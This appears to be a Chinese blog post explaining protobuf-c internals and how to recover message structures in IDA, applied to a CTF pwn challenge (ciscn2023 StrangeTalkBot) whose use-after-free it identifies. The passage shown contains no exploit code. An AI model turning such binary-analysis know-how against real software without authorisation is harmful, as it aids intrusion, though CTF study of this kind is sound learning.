protobuf

Protobuf (Protocol Buffers) 是谷歌开发的一款无关平台,无关语言,可扩展,轻量级高效的序列化结构的数据格式,用于将自定义数据结构序列化成字节流,和将字节流反序列化为数据结构。

所以很适合做数据存储和为不同语言,不同应用之间互相通信的数据交换格式,只要实现相同的协议格式,即后缀为proto文件被编译成不同的语言版本,加入各自的项目中,这样不同的语言可以解析其它语言通过Protobuf序列化的数据。目前官方提供c++,java,go等语言支持。

安装

c与python接口

1
2
3
4
5
6
7
8
9
python3 -m pip install protobuf

git clone https://github.com/protobuf-c/protobuf-c.git
sudo apt install autoconf, automake, libtool,libprotobuf-dev,libprotoc-dev,protobuf-compiler
./autogen.sh
./configure --prefix=/usr/local/protobuf-c --libdir=/usr/lib
make -j8 && make install
sudo cp -r /usr/local/protobuf-c/include/protobuf-c /usr/include
sudo ln -s /usr/local/protobuf-c/bin/protoc-gen-c /usr/local/bin/protoc-c

protobuf-c是protobuf的非官方c实现编译器

python安装的则是protobuf的官方库,官方库还有自带的protoc(proobuf compiler)

使用

写个例子尝试一下

1
2
3
4
5
6
7
8
//msg.proto
syntax = "proto2";

message Person {
required int32 id = 1;
required string name = 2;
optional string email = 3;
}

执行

protoc-c --c_out=. msg.proto

可以看到生成了两个文件

msg.pb-c.cmsg.pb-c.h

后者文件中声明了许多结构体与函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/* Generated by the protocol buffer compiler.  DO NOT EDIT! */
/* Generated from: msg.proto */

#ifndef PROTOBUF_C_msg_2eproto__INCLUDED
#define PROTOBUF_C_msg_2eproto__INCLUDED

#include <protobuf-c/protobuf-c.h>

PROTOBUF_C__BEGIN_DECLS

#if PROTOBUF_C_VERSION_NUMBER < 1000000
# error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers.
#elif 1005000 < PROTOBUF_C_MIN_COMPILER_VERSION
# error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c.
#endif


typedef struct Person Person;


/* --- enums --- */


/* --- messages --- */

struct Person
{
ProtobufCMessage base;
int32_t id;
char *name;
char *email;
};
#define PERSON__INIT \
{ PROTOBUF_C_MESSAGE_INIT (&person__descriptor) \
, 0, NULL, NULL }


/* Person methods */
void person__init
(Person *message);
size_t person__get_packed_size
(const Person *message);
size_t person__pack
(const Person *message,
uint8_t *out);
size_t person__pack_to_buffer
(const Person *message,
ProtobufCBuffer *buffer);
Person *
person__unpack
(ProtobufCAllocator *allocator,
size_t len,
const uint8_t *data);
void person__free_unpacked
(Person *message,
ProtobufCAllocator *allocator);
/* --- per-message closures --- */

typedef void (*Person_Closure)
(const Person *message,
void *closure_data);

/* --- services --- */


/* --- descriptors --- */

extern const ProtobufCMessageDescriptor person__descriptor;

PROTOBUF_C__END_DECLS


#endif /* PROTOBUF_C_msg_2eproto__INCLUDED */

然后便是.c文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
/* Generated by the protocol buffer compiler.  DO NOT EDIT! */
/* Generated from: msg.proto */

/* Do not generate deprecated warnings for self */
#ifndef PROTOBUF_C__NO_DEPRECATED
#define PROTOBUF_C__NO_DEPRECATED
#endif

#include "msg.pb-c.h"
void person__init
(Person *message)
{
static const Person init_value = PERSON__INIT;
*message = init_value;
}
size_t person__get_packed_size
(const Person *message)
{
assert(message->base.descriptor == &person__descriptor);
return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
}
size_t person__pack
(const Person *message,
uint8_t *out)
{
assert(message->base.descriptor == &person__descriptor);
return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
}
size_t person__pack_to_buffer
(const Person *message,
ProtobufCBuffer *buffer)
{
assert(message->base.descriptor == &person__descriptor);
return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
}
Person *
person__unpack
(ProtobufCAllocator *allocator,
size_t len,
const uint8_t *data)
{
return (Person *)
protobuf_c_message_unpack (&person__descriptor,
allocator, len, data);
}
void person__free_unpacked
(Person *message,
ProtobufCAllocator *allocator)
{
if(!message)
return;
assert(message->base.descriptor == &person__descriptor);
protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
}
static const ProtobufCFieldDescriptor person__field_descriptors[3] =
{
{
"id",
1,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_INT32,
0, /* quantifier_offset */
offsetof(Person, id),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"name",
2,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_STRING,
0, /* quantifier_offset */
offsetof(Person, name),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"email",
3,
PROTOBUF_C_LABEL_OPTIONAL,
PROTOBUF_C_TYPE_STRING,
0, /* quantifier_offset */
offsetof(Person, email),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
};
static const unsigned person__field_indices_by_name[] = {
2, /* field[2] = email */
0, /* field[0] = id */
1, /* field[1] = name */
};
static const ProtobufCIntRange person__number_ranges[1 + 1] =
{
{ 1, 0 },
{ 0, 3 }
};
const ProtobufCMessageDescriptor person__descriptor =
{
PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
"Person",
"Person",
"Person",
"",
sizeof(Person),
3,
person__field_descriptors,
person__field_indices_by_name,
1, person__number_ranges,
(ProtobufCMessageInit) person__init,
NULL,NULL,NULL /* reserved[123] */
};

之后如何使用,我们只需要在自己的代码中引入头文件

然后便能够引用这些符号进行序列化与反序列化了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include "msg.pb-c.h"

int main(void) {
Person person = PERSON__INIT;
person.id = 1234;
person.name = "John Doe";
person.email = "johndoe@example.com";

// 将消息序列化为字节流
size_t len = person__get_packed_size(&person);
uint8_t *buffer = malloc(len);
person__pack(&person, buffer);

// 将字节流反序列化为消息
Person *new_person = person__unpack(NULL, len, buffer);

// 打印反序列化后的消息
printf("ID: %d\n", new_person->id);
printf("Name: %s\n", new_person->name);
printf("Email: %s\n", new_person->email);

free(buffer);
person__free_unpacked(new_person, NULL);

return 0;
}

逆向

对于逆向我们主要关注unpack这个函数

1
2
3
4
5
6
7
8
9
10
Person *
person__unpack
(ProtobufCAllocator *allocator,
size_t len,
const uint8_t *data)
{
return (Person *)
protobuf_c_message_unpack (&person__descriptor,
allocator, len, data);
}

其返回是一个Person指针,所需要的三个参数

  • allocator一般不用理会,置0即可
  • len是长度,通过person__get_packed_size得到
  • data就是指向序列化的字节流

可以看到person__unpack仅仅是对protobuf_c_message_unpack的封装

二者之间的差距就在于person__descriptor结构体,其在.c文件中被创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const ProtobufCMessageDescriptor person__descriptor =
{
PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
"Person",
"Person",
"Person",
"",
sizeof(Person),
3,
person__field_descriptors,
person__field_indices_by_name,
1, person__number_ranges,
(ProtobufCMessageInit) person__init,
NULL,NULL,NULL /* reserved[123] */
};

protobuf-c/protobuf-c: Protocol Buffers implementation in C (github.com)

查看protobuf-c源码,得到这个结构体的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct ProtobufCMessageDescriptor {
/** Magic value checked to ensure that the API is used correctly. */
uint32_t magic;

/** The qualified name (e.g., "namespace.Type"). */
const char *name;
/** The unqualified name as given in the .proto file (e.g., "Type"). */
const char *short_name;
/** Identifier used in generated C code. */
const char *c_name;
/** The dot-separated namespace. */
const char *package_name;

/**
* Size in bytes of the C structure representing an instance of this
* type of message.
*/
size_t sizeof_message;

/** Number of elements in `fields`. */
unsigned n_fields;
/** Field descriptors, sorted by tag number. */
const ProtobufCFieldDescriptor *fields;
/** Used for looking up fields by name. */
const unsigned *fields_sorted_by_name;

/** Number of elements in `field_ranges`. */
unsigned n_field_ranges;
/** Used for looking up fields by id. */
const ProtobufCIntRange *field_ranges;

/** Message initialisation function. */
ProtobufCMessageInit message_init;

/** Reserved for future use. */
void *reserved1;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};
  1. magic,一般为0x28AAEEF9
  2. n_fields,关系到原始的message结构内有几条记录、
  3. fields,这个指向message内所有记录类型组成的一个数组,可以借此逆向分析message结构。

如果需要具体分析一个结构体的组成,只需要关注n_fields与fields

在本例中其这样被初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static const ProtobufCFieldDescriptor person__field_descriptors[3] =
{
{
"id",
1,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_INT32,
0, /* quantifier_offset */
offsetof(Person, id),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"name",
2,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_STRING,
0, /* quantifier_offset */
offsetof(Person, name),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"email",
3,
PROTOBUF_C_LABEL_OPTIONAL,
PROTOBUF_C_TYPE_STRING,
0, /* quantifier_offset */
offsetof(Person, email),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
};

源码中找到定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
struct ProtobufCFieldDescriptor {
/** Name of the field as given in the .proto file. */
const char *name;

/** Tag value of the field as given in the .proto file. */
uint32_t id;

/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
ProtobufCLabel label;

/** The type of the field. */
ProtobufCType type;

/**
* The offset in bytes of the message's C structure's quantifier field
* (the `has_MEMBER` field for optional members or the `n_MEMBER` field
* for repeated members or the case enum for oneofs).
*/
unsigned quantifier_offset;

/**
* The offset in bytes into the message's C structure for the member
* itself.
*/
unsigned offset;

/**
* A type-specific descriptor.
*
* If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the
* corresponding `ProtobufCEnumDescriptor`.
*
* If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to
* the corresponding `ProtobufCMessageDescriptor`.
*
* Otherwise this field is NULL.
*/
const void *descriptor; /* for MESSAGE and ENUM types */

/** The default value for this field, if defined. May be NULL. */
const void *default_value;

/**
* A flag word. Zero or more of the bits defined in the
* `ProtobufCFieldFlag` enum may be set.
*/
uint32_t flags;

/** Reserved for future use. */
unsigned reserved_flags;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};
  1. name,名字,变量名
  2. id,序号,即在message结构体中的顺序(等价于位置)
  3. label,前面标记的required等标记
  4. type,数据类型,string还是int64等

label与type都是枚举类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
typedef enum {
/** A well-formed message must have exactly one of this field. */
PROTOBUF_C_LABEL_REQUIRED,
/**
* A well-formed message can have zero or one of this field (but not
* more than one).
*/
PROTOBUF_C_LABEL_OPTIONAL,
/**
* This field can be repeated any number of times (including zero) in a
* well-formed message. The order of the repeated values will be
* preserved.
*/
PROTOBUF_C_LABEL_REPEATED,
/**
* This field has no label. This is valid only in proto3 and is
* equivalent to OPTIONAL but no "has" quantifier will be consulted.
*/
PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;

typedef enum {
PROTOBUF_C_TYPE_INT32, /**< int32 */
PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
PROTOBUF_C_TYPE_INT64, /**< int64 */
PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */
PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
PROTOBUF_C_TYPE_FLOAT, /**< float */
PROTOBUF_C_TYPE_DOUBLE, /**< double */
PROTOBUF_C_TYPE_BOOL, /**< boolean */
PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */
PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;

ida结构体

为了方便在ida中查看相关结构体,可以将上述的两个结构体插入ida,当然需要处理一些不相关的数据

ProtobufCMessageDescriptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct ProtobufCMessageDescriptor
{
uint32_t magic;
const char *name;
const char *short_name;
const char *c_name;
const char *package_name;
size_t sizeof_message;
unsigned int n_fields;
const ProtobufCFieldDescriptor *fields;
const unsigned int *fields_sorted_by_name;
unsigned int n_field_ranges;
char *field_ranges;
__int64 message_init;
void *reserved1;
void *reserved2;
void *reserved3;
};

ProtobufCFieldDescriptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct ProtobufCFieldDescriptor
{
const char *name;
uint32_t id;
int label;
int type;
unsigned int quantifier_offset;
unsigned int offset;
const void *descriptor;
const void *default_value;
uint32_t flags;
unsigned int reserved_flags;
void *reserved2;
void *reserved3;
};

例题

ciscn2023-StrangeTalkBot

程序主流程十分清晰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
ssize_t v3; // [rsp+0h] [rbp-10h]
_QWORD *v4; // [rsp+8h] [rbp-8h]

sub_1763(a1, a2, a3);
while ( 1 )
{
memset(&unk_A060, 0, 0x400uLL);
puts("You can try to have friendly communication with me now: ");
v3 = read(0, &unk_A060, 0x400uLL);
v4 = (_QWORD *)sub_192D(0LL, v3, &unk_A060);
if ( !v4 )
break;
sub_155D(v4[3], v4[4], v4[5], v4[6], v4[7]);
}
sub_1329();
}

有沙盒不能getshell

sub_155D是一个很明显的菜单堆,漏洞也很清晰就是一个uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall sub_155D(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, __int64 a5)
{
unsigned __int64 v6; // [rsp+18h] [rbp-18h]

v6 = a3;
if ( a2 >= 0x21 )
sub_1329();
if ( a4 >= 0xF1 )
sub_1329();
if ( a3 >= 0xF1 )
sub_1329();
if ( (__int64)a3 < (__int64)a4 )
v6 = a4;
if ( a1 == 4 )
return sub_14FC(a2);
if ( a1 > 4 )
goto LABEL_19;
if ( a1 == 3 )
return sub_148A(a2);
if ( a1 == 1 )
return sub_1347(a2, v6, a4, a5);
if ( a1 != 2 )
LABEL_19:
sub_1329();
return sub_13EF(a2, a4, a5);
}

关键在于

1
2
3
4
5
6
v4 = (_QWORD *)sub_192D(0LL, v3, &unk_A060);

__int64 __fastcall sub_192D(__int64 a1, __int64 a2, __int64 a3)
{
return sub_5090(&unk_9C80, a1, a2, a3);
}

这个格式是不是很像protobuf的解包函数

以及结合我们在字符串中发现的一些字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.rodata:00000000000074E0	00000022	C	BINARYBF_c_service_generated_init
.rodata:0000000000007520 00000023 C BINARYBF_c_service_invoke_internal
.rodata:0000000000007560 00000021 C BINARYBF_c_message_free_unpacked
.rodata:0000000000007590 0000001D C parse_packed_repeated_member
.rodata:00000000000075B0 0000000D C parse_member
.rodata:00000000000075C0 0000001A C BINARYBF_c_message_unpack
.rodata:00000000000075E0 0000001B C pack_buffer_packed_payload
.rodata:0000000000007600 0000001A C get_packed_payload_length
.rodata:0000000000007620 0000001E C repeated_field_pack_to_buffer
.rodata:0000000000007640 0000001E C required_field_pack_to_buffer
.rodata:0000000000007660 00000022 C BINARYBF_c_message_pack_to_buffer
.rodata:0000000000007690 0000001D C sizeof_elt_in_repeated_array
.rodata:00000000000076B0 00000014 C repeated_field_pack
.rodata:00000000000076D0 00000014 C required_field_pack
.rodata:00000000000076F0 00000018 C BINARYBF_c_message_pack
.rodata:0000000000007710 0000001F C required_field_get_packed_size
.rodata:0000000000007740 00000023 C BINARYBF_c_message_get_packed_size
.rodata:0000000000007764 00000018 C BINARYBF-c/BINARYBF-c.c
.rodata:000000000000777E 00000006 C 1.4.1
.rodata:0000000000007784 00000013 C tmp == payload_len
.rodata:0000000000007797 00000017 C rv->descriptor != NULL
.rodata:00000000000077B0 0000002E C method_index < service->descriptor->n_methods
.rodata:00000000000077E0 00000047 C ((message)->descriptor)->magic == BINARYBF_C__MESSAGE_DESCRIPTOR_MAGIC
.rodata:0000000000007828 0000002A C actual_length_size == length_size_min + 1
.rodata:0000000000007858 00000036 C (desc)->magic == BINARYBF_C__MESSAGE_DESCRIPTOR_MAGIC
.rodata:0000000000007890 0000003C C (descriptor)->magic == BINARYBF_C__SERVICE_DESCRIPTOR_MAGIC

基本能够确定这是protobuf的unpack函数,版本是1.4.1

那么逆向的关键其实就是在&unk_9C80

很显然这是一个ProtobufCMessageDescriptor对象

我们只需要在ida中手动添加一下结构体(一些不重要的类型直接用大小相等的数据类型替代)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
00000000 ; Ins/Del : create/delete structure
00000000 ; D/A/* : create structure member (data/ascii/array)
00000000 ; N : rename structure or structure member
00000000 ; U : delete structure member
00000000 ; [00000018 BYTES. COLLAPSED STRUCT Elf64_Sym. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 ; [00000018 BYTES. COLLAPSED STRUCT Elf64_Rela. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 ; [00000010 BYTES. COLLAPSED STRUCT Elf64_Dyn. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 ; [00000010 BYTES. COLLAPSED STRUCT Elf64_Verneed. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 ; [00000010 BYTES. COLLAPSED STRUCT Elf64_Vernaux. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 ProtobufCMessageDescriptor struc ; (sizeof=0x78, align=0x8, copyof_19)
00000000 ; XREF: .data.rel.ro:stru_9C80/r
00000000 magic dd ?
00000004 db ? ; undefined
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 name dq ? ; offset
00000010 short_name dq ? ; offset
00000018 c_name dq ? ; offset
00000020 package_name dq ? ; offset
00000028 sizeof_message dq ?
00000030 n_fields dd ?
00000034 db ? ; undefined
00000035 db ? ; undefined
00000036 db ? ; undefined
00000037 db ? ; undefined
00000038 fields dq ? ; offset
00000040 fields_sorted_by_name dq ? ; offset
00000048 n_field_ranges dd ?
0000004C db ? ; undefined
0000004D db ? ; undefined
0000004E db ? ; undefined
0000004F db ? ; undefined
00000050 field_ranges dq ? ; offset
00000058 message_init dq ? ; offset
00000060 reserved1 dq ? ; offset
00000068 reserved2 dq ? ; offset
00000070 reserved3 dq ? ; offset
00000078 ProtobufCMessageDescriptor ends
00000078
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 ProtobufCFieldDescriptor struc ; (sizeof=0x48, align=0x8, copyof_18)
00000000 name dq ? ; offset
00000008 id dd ?
0000000C label dd ?
00000010 type dd ?
00000014 quantifier_offset dd ?
00000018 offset dd ?
0000001C db ? ; undefined
0000001D db ? ; undefined
0000001E db ? ; undefined
0000001F db ? ; undefined
00000020 descriptor dq ? ; offset
00000028 default_value dq ? ; offset
00000030 flags dd ?
00000034 reserved_flags dd ?
00000038 reserved2 dq ? ; offset
00000040 reserved3 dq ? ; offset
00000048 ProtobufCFieldDescriptor ends
00000048

这样看起来就舒服多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.data.rel.ro:0000000000009C80                               ; struct ProtobufCMessageDescriptor stru_9C80
.data.rel.ro:0000000000009C80 F9 EE AA 28 00 00 00 00 D0 70+stru_9C80 dd 28AAEEF9h ; magic
.data.rel.ro:0000000000009C80 00 00 00 00 00 00 DA 70 00 00+ ; DATA XREF: sub_185D+53↑o
.data.rel.ro:0000000000009C80 00 00 00 00 DA 70 00 00 00 00+ ; sub_192D+27↑o
.data.rel.ro:0000000000009C80 00 00 E4 70 00 00 00 00 00 00+ ; .data.rel.ro:0000000000009D00↓o
.data.rel.ro:0000000000009C80 40 00 00 00 00 00 00 00 04 00+db 4 dup(0) ; "devicemsg" ...
.data.rel.ro:0000000000009C80 00 00 00 00 00 00 60 9B 00 00+dq offset aDevicemsg ; name
.data.rel.ro:0000000000009C80 00 00 00 00 B0 70 00 00 00 00+dq offset aDevicemsg_0 ; short_name
.data.rel.ro:0000000000009C80 00 00 01 00 00 00 00 00 00 00+dq offset aDevicemsg_0 ; c_name
.data.rel.ro:0000000000009C80 C0 70 00 00 00 00 00 00 5D 18+dq offset unk_70E4 ; package_name
.data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00+dq 40h ; sizeof_message
.data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00+dd 4 ; n_fields
.data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00 db 4 dup(0)
.data.rel.ro:0000000000009C80 dq offset stru_9B60 ; fields
.data.rel.ro:0000000000009C80 dq offset unk_70B0 ; fields_sorted_by_name
.data.rel.ro:0000000000009C80 dd 1 ; n_field_ranges
.data.rel.ro:0000000000009C80 db 4 dup(0)
.data.rel.ro:0000000000009C80 dq offset unk_70C0 ; field_ranges
.data.rel.ro:0000000000009C80 dq offset sub_185D ; message_init
.data.rel.ro:0000000000009C80 dq 0 ; reserved1
.data.rel.ro:0000000000009C80 dq 0 ; reserved2
.data.rel.ro:0000000000009C80 dq 0 ; reserved3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
.data.rel.ro:0000000000009B60 80 70 00 00 00 00 00 00 01 00+stru_9B60 dq offset aActionid                     ; name
.data.rel.ro:0000000000009B60 00 00 00 00 00 00 04 00 00 00+ ; DATA XREF: .data.rel.ro:stru_9C80↓o
.data.rel.ro:0000000000009B60 00 00 00 00 18 00 00 00 00 00+dd 1 ; id ; "actionid"
.data.rel.ro:0000000000009B60 00 00 00 00 00 00 00 00 00 00+dd 0 ; label
.data.rel.ro:0000000000009B60 00 00 00 00 00 00 00 00 00 00+dd 4 ; type
.data.rel.ro:0000000000009B60 00 00 00 00 00 00 00 00 00 00+dd 0 ; quantifier_offset
.data.rel.ro:0000000000009B60 00 00 00 00 00 00 00 00 00 00+dd 18h ; offset
.data.rel.ro:0000000000009B60 00 00 db 4 dup(0)
.data.rel.ro:0000000000009B60 dq 0 ; descriptor
.data.rel.ro:0000000000009B60 dq 0 ; default_value
.data.rel.ro:0000000000009B60 dd 0 ; flags
.data.rel.ro:0000000000009B60 dd 0 ; reserved_flags
.data.rel.ro:0000000000009B60 dq 0 ; reserved2
.data.rel.ro:0000000000009B60 dq 0 ; reserved3
.data.rel.ro:0000000000009BA8 89 70 00 00 00 00 00 00 02 00+dq offset aMsgidx ; name ; "msgidx"
.data.rel.ro:0000000000009BA8 00 00 00 00 00 00 04 00 00 00+dd 2 ; id
.data.rel.ro:0000000000009BA8 00 00 00 00 20 00 00 00 00 00+dd 0 ; label
.data.rel.ro:0000000000009BA8 00 00 00 00 00 00 00 00 00 00+dd 4 ; type
.data.rel.ro:0000000000009BA8 00 00 00 00 00 00 00 00 00 00+dd 0 ; quantifier_offset
.data.rel.ro:0000000000009BA8 00 00 00 00 00 00 00 00 00 00+dd 20h ; offset
.data.rel.ro:0000000000009BA8 00 00 00 00 00 00 00 00 00 00+db 4 dup(0)
.data.rel.ro:0000000000009BA8 00 00 dq 0 ; descriptor
.data.rel.ro:0000000000009BA8 dq 0 ; default_value
.data.rel.ro:0000000000009BA8 dd 0 ; flags
.data.rel.ro:0000000000009BA8 dd 0 ; reserved_flags
.data.rel.ro:0000000000009BA8 dq 0 ; reserved2
.data.rel.ro:0000000000009BA8 dq 0 ; reserved3
.data.rel.ro:0000000000009BF0 90 70 00 00 00 00 00 00 03 00+dq offset aMsgsize ; name ; "msgsize"
.data.rel.ro:0000000000009BF0 00 00 00 00 00 00 04 00 00 00+dd 3 ; id
.data.rel.ro:0000000000009BF0 00 00 00 00 28 00 00 00 00 00+dd 0 ; label
.data.rel.ro:0000000000009BF0 00 00 00 00 00 00 00 00 00 00+dd 4 ; type
.data.rel.ro:0000000000009BF0 00 00 00 00 00 00 00 00 00 00+dd 0 ; quantifier_offset
.data.rel.ro:0000000000009BF0 00 00 00 00 00 00 00 00 00 00+dd 28h ; offset
.data.rel.ro:0000000000009BF0 00 00 00 00 00 00 00 00 00 00+db 4 dup(0)
.data.rel.ro:0000000000009BF0 00 00 dq 0 ; descriptor
.data.rel.ro:0000000000009BF0 dq 0 ; default_value
.data.rel.ro:0000000000009BF0 dd 0 ; flags
.data.rel.ro:0000000000009BF0 dd 0 ; reserved_flags
.data.rel.ro:0000000000009BF0 dq 0 ; reserved2
.data.rel.ro:0000000000009BF0 dq 0 ; reserved3
.data.rel.ro:0000000000009C38 98 70 00 00 00 00 00 00 04 00+dq offset aMsgcontent ; name ; "msgcontent"
.data.rel.ro:0000000000009C38 00 00 00 00 00 00 0F 00 00 00+dd 4 ; id
.data.rel.ro:0000000000009C38 00 00 00 00 30 00 00 00 00 00+dd 0 ; label
.data.rel.ro:0000000000009C38 00 00 00 00 00 00 00 00 00 00+dd 0Fh ; type
.data.rel.ro:0000000000009C38 00 00 00 00 00 00 00 00 00 00+dd 0 ; quantifier_offset
.data.rel.ro:0000000000009C38 00 00 00 00 00 00 00 00 00 00+dd 30h ; offset
.data.rel.ro:0000000000009C38 00 00 00 00 00 00 00 00 00 00+db 4 dup(0)
.data.rel.ro:0000000000009C38 00 00 dq 0 ; descriptor
.data.rel.ro:0000000000009C38 dq 0 ; default_value
.data.rel.ro:0000000000009C38 dd 0 ; flags
.data.rel.ro:0000000000009C38 dd 0 ; reserved_flags
.data.rel.ro:0000000000009C38 dq 0 ; reserved2
.data.rel.ro:0000000000009C38 dq 0 ; reserved3
.data.rel.ro:0000000000009C80 ; struct ProtobufCMessageDescriptor stru_9C80
.data.rel.ro:0000000000009C80 F9 EE AA 28 00 00 00 00 D0 70+stru_9C80 dd 28AAEEF9h ; magic
.data.rel.ro:0000000000009C80 00 00 00 00 00 00 DA 70 00 00+ ; DATA XREF: sub_185D+53↑o
.data.rel.ro:0000000000009C80 00 00 00 00 DA 70 00 00 00 00+ ; sub_192D+27↑o
.data.rel.ro:0000000000009C80 00 00 E4 70 00 00 00 00 00 00+ ; .data.rel.ro:0000000000009D00↓o
.data.rel.ro:0000000000009C80 40 00 00 00 00 00 00 00 04 00+db 4 dup(0) ; "devicemsg" ...
.data.rel.ro:0000000000009C80 00 00 00 00 00 00 60 9B 00 00+dq offset aDevicemsg ; name
.data.rel.ro:0000000000009C80 00 00 00 00 B0 70 00 00 00 00+dq offset aDevicemsg_0 ; short_name
.data.rel.ro:0000000000009C80 00 00 01 00 00 00 00 00 00 00+dq offset aDevicemsg_0 ; c_name
.data.rel.ro:0000000000009C80 C0 70 00 00 00 00 00 00 5D 18+dq offset unk_70E4 ; package_name
.data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00+dq 40h ; sizeof_message
.data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00+dd 4 ; n_fields
.data.rel.ro:0000000000009C80 00 00 00 00 00 00 00 00 00 00 db 4 dup(0)
.data.rel.ro:0000000000009C80 dq offset stru_9B60 ; fields
.data.rel.ro:0000000000009C80 dq offset unk_70B0 ; fields_sorted_by_name
.data.rel.ro:0000000000009C80 dd 1 ; n_field_ranges
.data.rel.ro:0000000000009C80 db 4 dup(0)
.data.rel.ro:0000000000009C80 dq offset unk_70C0 ; field_ranges
.data.rel.ro:0000000000009C80 dq offset sub_185D ; message_init
.data.rel.ro:0000000000009C80 dq 0 ; reserved1
.data.rel.ro:0000000000009C80 dq 0 ; reserved2
